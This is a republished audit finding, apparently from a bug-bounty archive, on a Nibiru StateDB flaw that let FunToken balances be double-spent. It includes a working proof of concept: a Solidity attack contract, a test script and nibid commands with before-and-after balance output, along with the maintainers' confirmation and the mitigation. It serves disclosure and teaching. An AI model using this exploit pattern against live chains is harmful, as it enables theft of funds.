Skip to content
Business logic Audit finding Advanced

Inconsistent state management: ethereumTx StateDB overriding CallContract results

The StateDB used during Ethereum transactions could overwrite state changes made by precompiles, allowing an attacker to double-spend FunToken balances by converting ERC20 tokens to bank coins while the StateDB still believed the original balance remained.

0x007 Follow

Originally disclosed on Code4rena

Submitted by 0x007

When a precompile is invoked, the context (ctx) is cached, and the state database (statedb) commits to this cache, ensuring that precompiles operate with the most up-to-date context and data. During the execution of the precompile, the context can be modified, but these changes are not fully reflected in the state database, except for bank-related modifications.

func (s *StateDB) Commit() error {
	if s.writeToCommitCtxFromCacheCtx != nil {
		s.writeToCommitCtxFromCacheCtx()
	}
	return s.commitCtx(s.GetEvmTxContext())
}

The snippet above shows that at the end of the transaction, the evmTxCtx is updated to the cached context (cachedCtx) before the state changes are committed by the statedb.commitCtx. However, the issue arises because EvmState and Account modifications made within cachedCtx can be overwritten when statedb.commitCtx commits the state changes. This creates a situation where certain state changes, particularly those made by precompiles like FunToken, can be lost or corrupted.

For example, the FunToken precompile may call CallContract and modify EvmState’s AccState after the account state object has been added to the statedb and dirtied.

Impact

  1. Unlimited token minting: The state inconsistencies could allow the minting of unlimited FunToken’s, as state changes made during precompile execution may be overwritten.
  2. State corruption: The precompile could corrupt the state of any contract by exploiting the statedb’s lack of awareness of the modifications made during precompile execution.
  3. Malicious contract exploits: An attacker could create a malicious ERC20 token, which, when added to FunToken, could leverage the MaliciousERC20.transfer method as a callback to perform arbitrary operations on any contract, including state manipulation.
  4. Locking factories: A lot of factories use create which depends on their nonce being incremented in sequence. If a nonce is reused, the transaction would fail because there’s already a contract where they want to deploy.

Proof of Concept

  • CreateFunToken: Add Nibi, or any valuable coin to FunToken.

  • ConvertCoinToEvm: Convert Nibi to ERC20.

  • Create eth tx that performs this in the smart contract:

    • Transfer WEI to add object to statedb.
    • Convert X ERC20 to Nibi through FunToken.sendToBank. It would reduce balanceOf contract by X amount, and mint X Nibi coins to the contract.
  • At the end of ethereumTx, statedb would commit the balanceOf contract to the initial balance before FunToken.sendToBank.

The transfer to add object to statedb can also be done after precompile is called because statedb would get account and object from evmTxCtx which is lagging cachedCtx.

Recommended mitigation steps

Make sure EthereumTx.statedb knows what CallContracts in precompile have done, and it has to work well when reverts occur.

k-yang (Nibiru) disputed and commented:

I don’t agree with the statement:

However, the issue arises because EvmState and Account modifications made within cachedCtx can be overwritten when statedb.commitCtx commits the state changes.

writeToCommitCtxFromCacheCtx() writes the changes from cacheCtx to evmTxCtx, so cacheCtx changes are never lost. And furthermore, s.commitCtx(s.GetEvmTxContext()) writes the stateObject changes from StateDB to evmTxCtx, so evmTxCtx accrues all pending changes.

I firmly believe this is a false positive, but I’m happy to dive deeper into it if the warden can provide a more thorough attack scenario, with actual working code and transactions.

0x007 (warden) commented:

POC

1. Start localnet:

just localnet

2. Create Nibi Funtoken:

nibid tx evm create-funtoken --bank-denom unibi --from validator --gas auto --gas-adjustment 1.5 --note "" --yes

3. Mint 1 million Nibi to account:

nibid tx evm convert-coin-to-evm 0xC0f4b45712670cf7865A14816bE9Af9091EDdA1d 1000000000000unibi --from validator --gas auto --gas-adjustment 1.5 --note "" --yes

4. Create contract:

Add the following to contracts in a new file named POC24.sol:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

import {IERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";

interface IFunToken {
    function sendToBank(address erc20, uint256 amount, string calldata to) external returns (uint256 sentAmount);
}

contract POC24 {
    IFunToken public  funToken = IFunToken(0x0000000000000000000000000000000000000800);
    IERC20 public erc20 = IERC20(0x7D4B7B8CA7E1a24928Bb96D59249c7a5bd1DfBe6);
    // recipient is validator and it's different from account which would be used to pay evm gas
    string public recipient =  "nibi1zaavvzxez0elundtn32qnk9lkm8kmcsz44g7xl";

    function attack() public {
        // transfer fun token to any address to dirty the statedb
        // transferring to self won't work because of this

        // After further test, this part is not necessary
        // erc20.transfer(0x000000000000000000000000000000000000dEaD, 1);

        uint balance = erc20.balanceOf(address(this));
        // sendToBank should reduce balance to zero, but it won't
        // cacheCtx, yes. But in statedb, No
        funToken.sendToBank(address(erc20), balance, recipient);

        // increment journal from 0 because of this

        // Also, did you noticed we transferred the whole balance in sendToBank
        // But, statedb thinks we have balance
        erc20.transfer(0x000000000000000000000000000000000000dEaD, 1);
    }
}

5. Create Test:

Add the following to test in new file named poc24.test.ts

import { describe, it } from '@jest/globals';
import { parseUnits, formatUnits, Contract } from 'ethers';
import { account, provider } from './setup';
import {
    POC24__factory,
} from '../types';


describe('POC24 tests', () => {
    // Before test, add nibi to funtoken and mint some
    // nibid tx evm create-funtoken --bank-denom unibi --from validator --gas auto --gas-adjustment 1.5 --note "" --yes
    // nibid tx evm convert-coin-to-evm 0xC0f4b45712670cf7865A14816bE9Af9091EDdA1d 1000000000000unibi --from validator --gas auto --gas-adjustment 1.5 --note "" --yes
    it ('it should double spend', async () => {
        const transferAmount = parseUnits("1000", 6);
        const erc20Abi = [
            "function transfer(address recipient, uint256 amount) external returns (bool)",
            "function balanceOf(address _owner) public view returns (uint256 balance)"
        ];

        const nibi_erc20 = new Contract("0x7D4B7B8CA7E1a24928Bb96D59249c7a5bd1DfBe6", erc20Abi, account);

        // deploy contract
        const factory = new POC24__factory(account);
        const contract = await factory.deploy();
        await contract.waitForDeployment();

        // transfer the amount to contract
        let tx = await nibi_erc20.transfer(contract, transferAmount);
        await tx.wait();

        // call attack
        tx = await contract.attack();
        await tx.wait();

        // show end balance
        const balance = await nibi_erc20.balanceOf(contract);
        console.log(`ERC20 Balance of contract after transaction: ${formatUnits(balance, 6)}`);
    }, 30000) // test is slow, that's why timeout is set to 30s
})

6. Check recipient balance before test:

nibid query bank balances nibi1zaavvzxez0elundtn32qnk9lkm8kmcsz44g7xl --denom unibi

# Result
# {"denom":"unibi","amount":"8989100000000"}

7. Run Test:

cd evm-e2e
npx hardhat clean && npx hardhat compile && npx jest test/poc24.test.ts --verbose

# Result
# ERC20 Balance of contract after transaction: 999.999999

8: Check recipient balance after test:

It has increased by the same 1,000 Nibi from sendToBank.

nibid query bank balances nibi1zaavvzxez0elundtn32qnk9lkm8kmcsz44g7xl --denom unibi

# Result
# {"denom":"unibi","amount":"8990100000000"}

Explanation

Before POC sendToBank:

  • cacheCtx balance: None
  • evmTxCtx balance: 1,000 Nibi
  • stateObjects DirtyStorage: None

In evm CacheCtxForPrecompile:

  • cacheCtx balance: 1,000 Nibi
  • evmTxCtx balance: 1,000 Nibi
  • stateObjects DirtyStorage: None

After POC sendToBank:

  • cacheCtx balance: 0 Nibi
  • evmTxCtx balance: 1,000 Nibi
  • stateObjects DirtyStorage: None

After POC transfer:

  • cacheCtx balance: 0 Nibi
  • evmTxCtx balance: 1,000 Nibi
  • stateObjects DirtyStorage: 999.999999 Nibi

Note: Simply using writeToCommitCtxFromCacheCtx after CallContract won’t resolve the issue because we could have dirtied the storage earlier and use the dirtied storage for subsequent executions instead of reading from evmTxCtx.

After writeToCommitCtxFromCacheCtx:

  • cacheCtx balance: 0 Nibi
  • evmTxCtx balance: 0 Nibi
  • stateObjects DirtyStorage: 999.999999 Nibi

After s.commitCtx(s.GetEvmTxContext()):

  • evmTxCtx balance: 999.999999 Nibi

berndartmueller (judge) commented:

@k-yang - please have a look at the PoC provided by the warden and let me know what you think.

k-yang (Nibiru) confirmed and commented:

I did some more digging and I agree it’s a valid bug. The bug stems from creating multiple new StateDBs in the ApplyEvmMsg but resetting the StateDB back to the original StateDB near the end of the precompile call here; thereby, losing all the storage slot changes in the intermediate StateDBs.

The problem is further compounded by the fact that StateDB.getStateObject() always uses the evmTxCtx instead of using the cacheCtx, which has the latest changes, when it’s available.

Nibiru mitigated:

PR-2165 - Ensure only one copy of StateDB when executing Ethereum txs.

Status: Mitigation confirmed.


The original report as published on Code4rena, by 0x007. Images and videos are our own copies; raw HTML is shown as text. View it on Code4rena.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely multiple StateDB instances were created during transaction execution, and the original StateDB was restored after a precompile call, losing intermediate storage changes; additionally, getStateObject always used the lagging evmTxCtx instead of the updated cacheCtx.

What the attacker needed

Access to a Nibiru node; ability to deploy a contract; FunToken precompile available

How it was found

  1. Start a localnet and create a FunToken for the native coin.
  2. Mint a large amount of the native coin to an account and convert some to ERC20.
  3. Deploy a contract that calls the FunToken precompile's sendToBank to convert its entire ERC20 balance to bank coins for a recipient.
  4. In the same transaction, perform a small ERC20 transfer to dirty the StateDB storage.
  5. Observe that the contract's ERC20 balance is not reduced as expected, while the recipient's bank balance increases.
  6. Confirm the double-spend by checking balances before and after.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

When a smart contract runs, the system keeps a temporary record of changes. A bug meant that some changes made by special built-in contracts (precompiles) were later overwritten by an older record, so the system lost track of what had happened. An attacker could exploit this to make it look like they still had tokens after converting them to another form, effectively creating money out of thin air.

What is Business logic?

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.

More by 0x007

View all

25 more disclosed reports, best first.

More from Nibiru

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Business logic flaws

The lesson behind this report.

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.